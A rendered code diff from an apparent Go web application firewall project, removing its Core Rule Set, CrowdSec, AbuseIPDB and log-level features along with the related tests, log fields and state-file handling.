func withoutComment(line string) string {
|
func withoutComment(line string) string {
|
||||||
|
|||||||
@@ -215,7 +215,12 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
|||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
// One alert for the first failure; the cooldown holds back the
|
||||||
// second.
|
// second.
|
||||||
wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
|
wantAlert(t, queue, alerts.Alert{
|
||||||
|
Time: time.Now().Add(-refresh),
|
||||||
|
Event: alerts.EventSourceFailure,
|
||||||
|
Reason: "fetching a list failed",
|
||||||
|
Detail: map[string]any{"source": dropURL, "error": tc.error},
|
||||||
|
})
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
||||||
`"url":"`+dropURL+`","error":"`+tc.error) {
|
`"url":"`+dropURL+`","error":"`+tc.error) {
|
||||||
@@ -530,9 +535,7 @@ func newQueue() *alerts.Queue {
|
|||||||
|
|
||||||
// start returns the lists of p, fetched through servers by Run, which runs
|
// start returns the lists of p, fetched through servers by Run, which runs
|
||||||
// until the test ends, once Run has fetched those due at start.
|
// until the test ends, once Run has fetched those due at start.
|
||||||
func start(
|
func start(t *testing.T, servers *standIn, p reputation.Params) *reputation.Lists {
|
||||||
t *testing.T, servers http.RoundTripper, p reputation.Params,
|
|
||||||
) *reputation.Lists {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
lists := reputation.New(p)
|
lists := reputation.New(p)
|
||||||
@@ -594,17 +597,6 @@ func waiting(queue *alerts.Queue) []alerts.Alert {
|
|||||||
return queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
return queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
}
|
}
|
||||||
|
|
||||||
// fetchFailure is the source_failure alert raised at the time raised for
|
|
||||||
// a fetch of the list at listURL that failed with err.
|
|
||||||
func fetchFailure(raised time.Time, listURL, err string) alerts.Alert {
|
|
||||||
return alerts.Alert{
|
|
||||||
Time: raised,
|
|
||||||
Event: alerts.EventSourceFailure,
|
|
||||||
Reason: "fetching a list failed",
|
|
||||||
Detail: map[string]any{"source": listURL, "error": err},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantAlert checks that want is the one alert waiting in queue, and that
|
// wantAlert checks that want is the one alert waiting in queue, and that
|
||||||
// the cooldown has held back one repeat of it.
|
// the cooldown has held back one repeat of it.
|
||||||
func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
|
func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
|
||||||
|
|||||||
@@ -29,20 +29,14 @@ const (
|
|||||||
// over a rate limit, which bans the client.
|
// over a rate limit, which bans the client.
|
||||||
ActionRateLimited = "rate_limited"
|
ActionRateLimited = "rate_limited"
|
||||||
// ActionBanned is a request refused because a ban covers its client,
|
// ActionBanned is a request refused because a ban covers its client,
|
||||||
// or because it matched a ban rule, asked for a trap path or the
|
// or because it matched a ban rule, which bans the client.
|
||||||
// CrowdSec decision list lists its client, each of which bans the
|
|
||||||
// client.
|
|
||||||
ActionBanned = "banned"
|
ActionBanned = "banned"
|
||||||
// ActionRuleBlocked is a request refused because it matched a block
|
// ActionRuleBlocked is a request refused because it matched a block
|
||||||
// rule.
|
// rule.
|
||||||
ActionRuleBlocked = "rule_blocked"
|
ActionRuleBlocked = "rule_blocked"
|
||||||
// ActionWAFBlocked is a request refused because the Core Rule Set
|
|
||||||
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
|
|
||||||
ActionWAFBlocked = "waf_blocked"
|
|
||||||
// ActionDenied is a request refused because its client is in
|
// ActionDenied is a request refused because its client is in
|
||||||
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
|
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
|
||||||
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
|
// or listed by a DNSBL zone while SWWAF_REPUTATION_ACTION is deny.
|
||||||
// SWWAF_REPUTATION_ACTION is deny.
|
|
||||||
ActionDenied = "denied"
|
ActionDenied = "denied"
|
||||||
// ActionCountryDenied is a request refused for its client's country.
|
// ActionCountryDenied is a request refused for its client's country.
|
||||||
ActionCountryDenied = "country_denied"
|
ActionCountryDenied = "country_denied"
|
||||||
@@ -52,14 +46,9 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// OffenceLimit is the offence a request line names for a request that
|
// OffenceLimit is the offence a request line names for a request that
|
||||||
// broke a rate limit or the error burst, or whose bytes broke a byte
|
// broke a rate limit, or whose bytes broke a byte limit.
|
||||||
// limit.
|
|
||||||
const OffenceLimit = "limit"
|
const OffenceLimit = "limit"
|
||||||
|
|
||||||
// LimitHitErrorBurst is the limit_hit a request line names for a request
|
|
||||||
// that broke the error burst.
|
|
||||||
const LimitHitErrorBurst = "error_burst"
|
|
||||||
|
|
||||||
// timeLayout is RFC 3339 with milliseconds.
|
// timeLayout is RFC 3339 with milliseconds.
|
||||||
const timeLayout = "2006-01-02T15:04:05.000Z07:00"
|
const timeLayout = "2006-01-02T15:04:05.000Z07:00"
|
||||||
|
|
||||||
@@ -126,8 +115,8 @@ type Line struct {
|
|||||||
Action string `json:"action"`
|
Action string `json:"action"`
|
||||||
// WouldAction is, in observe mode, the action enforce mode would have
|
// WouldAction is, in observe mode, the action enforce mode would have
|
||||||
// taken with a request it would have refused: ActionDenied,
|
// taken with a request it would have refused: ActionDenied,
|
||||||
// ActionBanned, ActionCountryDenied, ActionRateLimited,
|
// ActionBanned, ActionCountryDenied, ActionRateLimited or
|
||||||
// ActionRuleBlocked or ActionWAFBlocked.
|
// ActionRuleBlocked.
|
||||||
WouldAction string `json:"would_action,omitempty"`
|
WouldAction string `json:"would_action,omitempty"`
|
||||||
// LimitPercent and LimitPercentSetting are, for a request the rate
|
// LimitPercent and LimitPercentSetting are, for a request the rate
|
||||||
// limits counted whose client a biased threshold gives a percentage of
|
// limits counted whose client a biased threshold gives a percentage of
|
||||||
@@ -145,20 +134,12 @@ type Line struct {
|
|||||||
Counts ratelimit.Counts `json:"counts,omitzero"`
|
Counts ratelimit.Counts `json:"counts,omitzero"`
|
||||||
// RuleIDs are the ids of the rule file rules the request matched.
|
// RuleIDs are the ids of the rule file rules the request matched.
|
||||||
RuleIDs []string `json:"rule_ids,omitempty"`
|
RuleIDs []string `json:"rule_ids,omitempty"`
|
||||||
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
|
|
||||||
// matched, and WAFScore its anomaly score, nil for a request the Core
|
|
||||||
// Rule Set did not inspect.
|
|
||||||
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
|
|
||||||
WAFScore *int `json:"waf_score,omitempty"`
|
|
||||||
// LimitHit is the window whose limit the request went over, named as
|
// LimitHit is the window whose limit the request went over, named as
|
||||||
// Counts names its count: minute, hour or day for a rate limit, and
|
// Counts names its count: minute, hour or day for a rate limit, and
|
||||||
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
|
// minute_bytes, hour_bytes or day_bytes for a byte limit.
|
||||||
// LimitHitErrorBurst for the error burst.
|
|
||||||
LimitHit string `json:"limit_hit,omitempty"`
|
LimitHit string `json:"limit_hit,omitempty"`
|
||||||
// Reputation are the URLs of the blocklists that list the client, then
|
// Reputation are the URLs of the blocklists that list the client, then
|
||||||
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
// the DNSBL zones whose verdict lists it.
|
||||||
// whose verdict lists it, their keys masked, then abuseipdb when its
|
|
||||||
// score is a hit.
|
|
||||||
Reputation []string `json:"reputation,omitempty"`
|
Reputation []string `json:"reputation,omitempty"`
|
||||||
// Offence is the offence the request was held as, OffenceLimit.
|
// Offence is the offence the request was held as, OffenceLimit.
|
||||||
Offence string `json:"offence,omitempty"`
|
Offence string `json:"offence,omitempty"`
|
||||||
@@ -167,15 +148,13 @@ type Line struct {
|
|||||||
BanExpires string `json:"ban_expires,omitempty"`
|
BanExpires string `json:"ban_expires,omitempty"`
|
||||||
|
|
||||||
// The timings, in milliseconds. DurationChecks is the time until the
|
// The timings, in milliseconds. DurationChecks is the time until the
|
||||||
// checks were done, and DurationWAF the part of it the Core Rule Set
|
// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
|
||||||
// took. DurationUpstreamConnect, DurationUpstreamFirstByte and
|
// and DurationUpstreamTotal run from when the request was handed to the
|
||||||
// DurationUpstreamTotal run from when the request was handed to the
|
|
||||||
// app: until there was a connection to it, until the first byte of its
|
// app: until there was a connection to it, until the first byte of its
|
||||||
// answer arrived, and until the end. Each but DurationTotal is nil for
|
// answer arrived, and until the end. Each but DurationTotal is nil for
|
||||||
// a request that did not get that far.
|
// a request that did not get that far.
|
||||||
DurationTotal float64 `json:"duration_total"`
|
DurationTotal float64 `json:"duration_total"`
|
||||||
DurationChecks *float64 `json:"duration_checks,omitempty"`
|
DurationChecks *float64 `json:"duration_checks,omitempty"`
|
||||||
DurationWAF *float64 `json:"duration_waf,omitempty"`
|
|
||||||
DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"`
|
DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"`
|
||||||
DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
|
DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
|
||||||
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
|
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
|
||||||
@@ -212,11 +191,8 @@ func Milliseconds(d time.Duration) float64 {
|
|||||||
// NewProcessLogger returns the logger for the process's own messages:
|
// NewProcessLogger returns the logger for the process's own messages:
|
||||||
// JSON lines on w, marked "type":"process", with the time in the same form
|
// JSON lines on w, marked "type":"process", with the time in the same form
|
||||||
// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance.
|
// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance.
|
||||||
// It writes only the messages at level, SWWAF_LOG_LEVEL, or more severe;
|
func NewProcessLogger(w io.Writer, instanceName string) *slog.Logger {
|
||||||
// the request lines Write writes are never held back.
|
|
||||||
func NewProcessLogger(w io.Writer, instanceName string, level slog.Level) *slog.Logger {
|
|
||||||
handler := slog.NewJSONHandler(w, &slog.HandlerOptions{
|
handler := slog.NewJSONHandler(w, &slog.HandlerOptions{
|
||||||
Level: level,
|
|
||||||
ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr {
|
ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr {
|
||||||
if attr.Key == slog.TimeKey && len(groups) == 0 {
|
if attr.Key == slog.TimeKey && len(groups) == 0 {
|
||||||
return slog.String(slog.TimeKey, FormatTime(attr.Value.Time()))
|
return slog.String(slog.TimeKey, FormatTime(attr.Value.Time()))
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ package requestlog_test
|
|||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"log/slog"
|
|
||||||
"slices"
|
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
@@ -72,8 +70,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
requestlog.NewProcessLogger(&out, "fsn1app1/gitea", slog.LevelInfo).Info("starting",
|
requestlog.NewProcessLogger(&out, "fsn1app1/gitea").Info("starting", "version", "v1")
|
||||||
"version", "v1")
|
|
||||||
|
|
||||||
var fields map[string]any
|
var fields map[string]any
|
||||||
|
|
||||||
@@ -97,47 +94,3 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
|
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
levels := []slog.Level{
|
|
||||||
slog.LevelDebug, slog.LevelInfo, slog.LevelWarn, slog.LevelError,
|
|
||||||
}
|
|
||||||
|
|
||||||
for i, level := range levels {
|
|
||||||
t.Run(level.String(), func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
var out bytes.Buffer
|
|
||||||
|
|
||||||
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/gitea", level)
|
|
||||||
for _, at := range levels {
|
|
||||||
processLog.Log(t.Context(), at, "message")
|
|
||||||
}
|
|
||||||
|
|
||||||
var got, want []string
|
|
||||||
|
|
||||||
for line := range strings.Lines(out.String()) {
|
|
||||||
var fields struct {
|
|
||||||
Level string `json:"level"`
|
|
||||||
}
|
|
||||||
|
|
||||||
err := json.Unmarshal([]byte(line), &fields)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("decode %q: %v", line, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
got = append(got, fields.Level)
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, written := range levels[i:] {
|
|
||||||
want = append(want, written.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
if !slices.Equal(got, want) {
|
|
||||||
t.Errorf("lines at %v, want %v", got, want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
+6
-13
@@ -396,23 +396,16 @@ func (rule Rule) matches(r *http.Request) bool {
|
|||||||
return rule.regex.MatchString(value(rule.Target, r))
|
return rule.regex.MatchString(value(rule.Target, r))
|
||||||
}
|
}
|
||||||
|
|
||||||
// Path returns r's path as the client sent it, before any decoding or
|
|
||||||
// re-encoding, up to the first ?: what a path rule is matched against.
|
|
||||||
func Path(r *http.Request) string {
|
|
||||||
path, _, _ := strings.Cut(pathAndQuery(r), "?")
|
|
||||||
|
|
||||||
return path
|
|
||||||
}
|
|
||||||
|
|
||||||
// value returns what a rule with target, other than uri, is matched
|
// value returns what a rule with target, other than uri, is matched
|
||||||
// against in r: the path, as Path gives it, and the query as the client
|
// against in r: the path and the query as the client sent them, before
|
||||||
// sent it, before any decoding or re-encoding, after the first ?, and a
|
// any decoding or re-encoding, split at the first ?, and a header's values
|
||||||
// header's values joined by ", ", as HTTP joins those of a header sent
|
// joined by ", ", as HTTP joins those of a header sent more than once.
|
||||||
// more than once.
|
|
||||||
func value(target string, r *http.Request) string {
|
func value(target string, r *http.Request) string {
|
||||||
switch target {
|
switch target {
|
||||||
case "path":
|
case "path":
|
||||||
return Path(r)
|
path, _, _ := strings.Cut(pathAndQuery(r), "?")
|
||||||
|
|
||||||
|
return path
|
||||||
case "query":
|
case "query":
|
||||||
_, query, _ := strings.Cut(pathAndQuery(r), "?")
|
_, query, _ := strings.Cut(pathAndQuery(r), "?")
|
||||||
|
|
||||||
|
|||||||
@@ -21,7 +21,6 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/proxy"
|
"sneak.berlin/go/smallwebwaf/internal/proxy"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
"sneak.berlin/go/smallwebwaf/internal/remotelog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/state"
|
"sneak.berlin/go/smallwebwaf/internal/state"
|
||||||
@@ -70,10 +69,8 @@ func Main(version string) int {
|
|||||||
// state files, then serves requests until ctx is done. It returns the
|
// state files, then serves requests until ctx is done. It returns the
|
||||||
// process's exit status, 1 when smallwebwaf cannot start.
|
// process's exit status, 1 when smallwebwaf cannot start.
|
||||||
func Run(ctx context.Context, params Params) int {
|
func Run(ctx context.Context, params Params) int {
|
||||||
// Until the settings are read, the one message is an invalid setting's
|
|
||||||
// error, which every SWWAF_LOG_LEVEL lets through.
|
|
||||||
processLog := requestlog.NewProcessLogger(params.Stdout,
|
processLog := requestlog.NewProcessLogger(params.Stdout,
|
||||||
config.InstanceName(params.LookupEnv), slog.LevelError)
|
config.InstanceName(params.LookupEnv))
|
||||||
|
|
||||||
cfg, err := config.FromEnvironment(params.LookupEnv)
|
cfg, err := config.FromEnvironment(params.LookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -91,11 +88,8 @@ func Run(ctx context.Context, params Params) int {
|
|||||||
if cfg.LogRemoteURL != nil {
|
if cfg.LogRemoteURL != nil {
|
||||||
remote = newRemoteLogSender(cfg)
|
remote = newRemoteLogSender(cfg)
|
||||||
stdout = io.MultiWriter(params.Stdout, remote)
|
stdout = io.MultiWriter(params.Stdout, remote)
|
||||||
}
|
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName)
|
||||||
|
|
||||||
processLog = requestlog.NewProcessLogger(stdout, cfg.InstanceName, cfg.LogLevel)
|
|
||||||
|
|
||||||
if remote != nil {
|
|
||||||
stopSending := startSending(ctx, remote, processLog)
|
stopSending := startSending(ctx, remote, processLog)
|
||||||
defer stopSending()
|
defer stopSending()
|
||||||
}
|
}
|
||||||
@@ -179,7 +173,6 @@ func newServer(
|
|||||||
RequestLog: stdout,
|
RequestLog: stdout,
|
||||||
ProcessLog: processLog,
|
ProcessLog: processLog,
|
||||||
GeoJSURL: lookup.URL,
|
GeoJSURL: lookup.URL,
|
||||||
AbuseIPDBURL: reputation.AbuseIPDBURL,
|
|
||||||
LookupFile: lookupFile,
|
LookupFile: lookupFile,
|
||||||
Now: now,
|
Now: now,
|
||||||
Rules: ruleFiles,
|
Rules: ruleFiles,
|
||||||
@@ -209,7 +202,6 @@ func loadStateFiles(
|
|||||||
GeoJS: server.GeoJS,
|
GeoJS: server.GeoJS,
|
||||||
Lists: server.Lists,
|
Lists: server.Lists,
|
||||||
DNSBL: server.DNSBL,
|
DNSBL: server.DNSBL,
|
||||||
AbuseIPDB: server.AbuseIPDB,
|
|
||||||
Alerts: alertQueue,
|
Alerts: alertQueue,
|
||||||
Anomalies: server.Anomalies,
|
Anomalies: server.Anomalies,
|
||||||
Now: now,
|
Now: now,
|
||||||
|
|||||||
@@ -249,54 +249,6 @@ func TestServesUntilToldToStop(t *testing.T) {
|
|||||||
out.line(t, "msg", "stopped")
|
out.line(t, "msg", "stopped")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// A list that cannot be fetched has a warning written once smallwebwaf
|
|
||||||
// serves, after its starting line.
|
|
||||||
lists := httptest.NewServer(http.HandlerFunc(
|
|
||||||
func(w http.ResponseWriter, _ *http.Request) {
|
|
||||||
w.WriteHeader(http.StatusServiceUnavailable)
|
|
||||||
}))
|
|
||||||
t.Cleanup(lists.Close)
|
|
||||||
|
|
||||||
ctx, stop := context.WithCancel(t.Context())
|
|
||||||
out := &output{}
|
|
||||||
exited := make(chan int, 1)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
exited <- run(ctx, map[string]string{
|
|
||||||
listenAddr: localhost + ":0",
|
|
||||||
stateDir: t.TempDir(),
|
|
||||||
rulesDir: t.TempDir(),
|
|
||||||
"SWWAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
|
|
||||||
"SWWAF_LOG_LEVEL": "warn",
|
|
||||||
}, out)
|
|
||||||
}()
|
|
||||||
|
|
||||||
out.line(t, "msg", "fetching a list failed")
|
|
||||||
stop()
|
|
||||||
|
|
||||||
select {
|
|
||||||
case status := <-exited:
|
|
||||||
if status != 0 {
|
|
||||||
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
|
||||||
}
|
|
||||||
case <-time.After(waitLimit):
|
|
||||||
t.Fatal("still running after being told to stop")
|
|
||||||
}
|
|
||||||
|
|
||||||
// Not one of the info lines from the start to the stop.
|
|
||||||
for line := range strings.Lines(out.text()) {
|
|
||||||
var fields map[string]any
|
|
||||||
|
|
||||||
err := json.Unmarshal([]byte(line), &fields)
|
|
||||||
if err != nil || fields["level"] == "INFO" {
|
|
||||||
t.Errorf("line %q (%v), want none at info", line, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
|
func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -716,80 +668,6 @@ func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecDecisionListKeptInReputationJSONAcrossARestart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const bouncerKey = "crowdsec-key-0123456789abcdef"
|
|
||||||
|
|
||||||
// A stand-in for the engine's local API, which bans 203.0.113.0/24 for
|
|
||||||
// four hours, and answers only a request with its key, while it is up.
|
|
||||||
down := new(atomic.Bool)
|
|
||||||
engine := httptest.NewServer(http.HandlerFunc(
|
|
||||||
func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
switch {
|
|
||||||
case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey:
|
|
||||||
w.WriteHeader(http.StatusForbidden)
|
|
||||||
case down.Load():
|
|
||||||
w.WriteHeader(http.StatusServiceUnavailable)
|
|
||||||
default:
|
|
||||||
_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
|
|
||||||
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
|
|
||||||
`"type": "ban", "value": "203.0.113.0/24"}]`)
|
|
||||||
}
|
|
||||||
}))
|
|
||||||
t.Cleanup(engine.Close)
|
|
||||||
|
|
||||||
dir := t.TempDir()
|
|
||||||
env := map[string]string{
|
|
||||||
listenAddr: localhost + ":0",
|
|
||||||
upstreamURL: startApp(t),
|
|
||||||
stateDir: dir,
|
|
||||||
rulesDir: t.TempDir(),
|
|
||||||
trustedProxies: localhost + "/32",
|
|
||||||
"SWWAF_CROWDSEC_LAPI_URL": engine.URL,
|
|
||||||
"SWWAF_CROWDSEC_LAPI_KEY": bouncerKey,
|
|
||||||
}
|
|
||||||
|
|
||||||
// Once the list is fetched, the client's request bans it.
|
|
||||||
first := runUntilStopped(t, env, func(url string) {
|
|
||||||
for statusFrom(t, url, placed) != http.StatusForbidden {
|
|
||||||
time.Sleep(pollInterval)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
ban := onlyBan(t, dir)
|
|
||||||
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
|
|
||||||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
|
|
||||||
t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Restarted with the engine down, the copy kept in reputation.json bans
|
|
||||||
// another client in the netblock from its first request.
|
|
||||||
down.Store(true)
|
|
||||||
|
|
||||||
second := runUntilStopped(t, env, func(url string) {
|
|
||||||
wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
|
|
||||||
})
|
|
||||||
|
|
||||||
// The key is in neither run's output, nor in a state file.
|
|
||||||
files := []string{"bans.json", "reputation.json", "clients.json"}
|
|
||||||
shown := make([]string, 0, len(files)+2)
|
|
||||||
shown = append(shown, first.text(), second.text())
|
|
||||||
|
|
||||||
for _, name := range files {
|
|
||||||
data, err := os.ReadFile(filepath.Join(dir, name)) //nolint:gosec // the test's
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("read %s: %v", name, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
shown = append(shown, string(data))
|
|
||||||
}
|
|
||||||
|
|
||||||
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
|
|
||||||
t.Errorf("the key is shown in the output or the state files:\n%s", all)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantDeniedByList checks that the request log line is of a request the
|
// wantDeniedByList checks that the request log line is of a request the
|
||||||
// blocklist at listURL refused.
|
// blocklist at listURL refused.
|
||||||
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
|
func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
|
||||||
|
|||||||
+16
-54
@@ -2,8 +2,8 @@
|
|||||||
// SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes:
|
// SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes:
|
||||||
// bans.json holds the bans, clients.json each client's counters and
|
// bans.json holds the bans, clients.json each client's counters and
|
||||||
// history, lookups.json GeoJS's answers, reputation.json the last try and
|
// history, lookups.json GeoJS's answers, reputation.json the last try and
|
||||||
// last good copy of each list fetched from a URL, the DNSBL zones'
|
// last good copy of each list fetched from a URL and the DNSBL zones'
|
||||||
// verdicts, and AbuseIPDB's scores and checks spent, and alerts.json the
|
// verdicts, and alerts.json the
|
||||||
// cooldowns, the hour under way, the alerts waiting for each destination
|
// cooldowns, the hour under way, the alerts waiting for each destination
|
||||||
// and the anomaly counters. Load
|
// and the anomaly counters. Load
|
||||||
// reads them at start, Watch takes in an admin's edit of one while
|
// reads them at start, Watch takes in an admin's edit of one while
|
||||||
@@ -60,7 +60,7 @@ var (
|
|||||||
errVersion = errors.New("unknown version")
|
errVersion = errors.New("unknown version")
|
||||||
// errMissing is for an entry without a field it needs.
|
// errMissing is for an entry without a field it needs.
|
||||||
errMissing = errors.New("has no")
|
errMissing = errors.New("has no")
|
||||||
errCause = errors.New("is not limit, attack, admin or crowdsec")
|
errCause = errors.New("is not limit, attack or admin")
|
||||||
errDestination = errors.New("is not webhook, slack or ntfy")
|
errDestination = errors.New("is not webhook, slack or ntfy")
|
||||||
errScope = errors.New("is not client, net, asn, total or watch")
|
errScope = errors.New("is not client, net, asn, total or watch")
|
||||||
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
|
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
|
||||||
@@ -77,15 +77,14 @@ type Params struct {
|
|||||||
// is (SWWAF_STATE_COUNTER_INTERVAL).
|
// is (SWWAF_STATE_COUNTER_INTERVAL).
|
||||||
WriteDelay time.Duration
|
WriteDelay time.Duration
|
||||||
CounterInterval time.Duration
|
CounterInterval time.Duration
|
||||||
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, Alerts and Anomalies
|
// Ledger, Limiter, GeoJS, Lists, DNSBL, Alerts and Anomalies hold the
|
||||||
// hold the state. Alerts also receive a file_error alert for an edit set
|
// state. Alerts also receive a file_error alert for an edit set aside,
|
||||||
// aside, and for a write that fails while smallwebwaf runs.
|
// and for a write that fails while smallwebwaf runs.
|
||||||
Ledger *bans.Ledger
|
Ledger *bans.Ledger
|
||||||
Limiter *ratelimit.Limiter
|
Limiter *ratelimit.Limiter
|
||||||
GeoJS *lookup.GeoJS
|
GeoJS *lookup.GeoJS
|
||||||
Lists *reputation.Lists
|
Lists *reputation.Lists
|
||||||
DNSBL *reputation.DNSBL
|
DNSBL *reputation.DNSBL
|
||||||
AbuseIPDB *reputation.AbuseIPDB
|
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
Anomalies *anomaly.Counters
|
Anomalies *anomaly.Counters
|
||||||
// Now tells the time by which the counters' buckets run out, normally
|
// Now tells the time by which the counters' buckets run out, normally
|
||||||
@@ -151,7 +150,6 @@ type reputationFile struct {
|
|||||||
Version int `json:"version"`
|
Version int `json:"version"`
|
||||||
Lists []reputation.List `json:"lists"`
|
Lists []reputation.List `json:"lists"`
|
||||||
Verdicts []reputation.Verdict `json:"verdicts"`
|
Verdicts []reputation.Verdict `json:"verdicts"`
|
||||||
AbuseIPDB reputation.Checks `json:"abuseipdb"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// alertsFile is alerts.json, indented for an admin to read and edit.
|
// alertsFile is alerts.json, indented for an admin to read and edit.
|
||||||
@@ -438,7 +436,6 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
f.params.DNSBL.Load(file.Verdicts)
|
f.params.DNSBL.Load(file.Verdicts)
|
||||||
f.params.AbuseIPDB.Load(file.AbuseIPDB)
|
|
||||||
entries = len(file.Lists)
|
entries = len(file.Lists)
|
||||||
case alertsJSON:
|
case alertsJSON:
|
||||||
waiting, err := f.takeInAlerts(path, data)
|
waiting, err := f.takeInAlerts(path, data)
|
||||||
@@ -574,7 +571,7 @@ func (f *Files) encode(name string) ([]byte, error) {
|
|||||||
case reputationJSON:
|
case reputationJSON:
|
||||||
return encodeIndented(reputationFile{
|
return encodeIndented(reputationFile{
|
||||||
Version: version, Lists: f.params.Lists.Snapshot(),
|
Version: version, Lists: f.params.Lists.Snapshot(),
|
||||||
Verdicts: f.params.DNSBL.Snapshot(), AbuseIPDB: f.params.AbuseIPDB.Snapshot(),
|
Verdicts: f.params.DNSBL.Snapshot(),
|
||||||
})
|
})
|
||||||
default: // alerts.json
|
default: // alerts.json
|
||||||
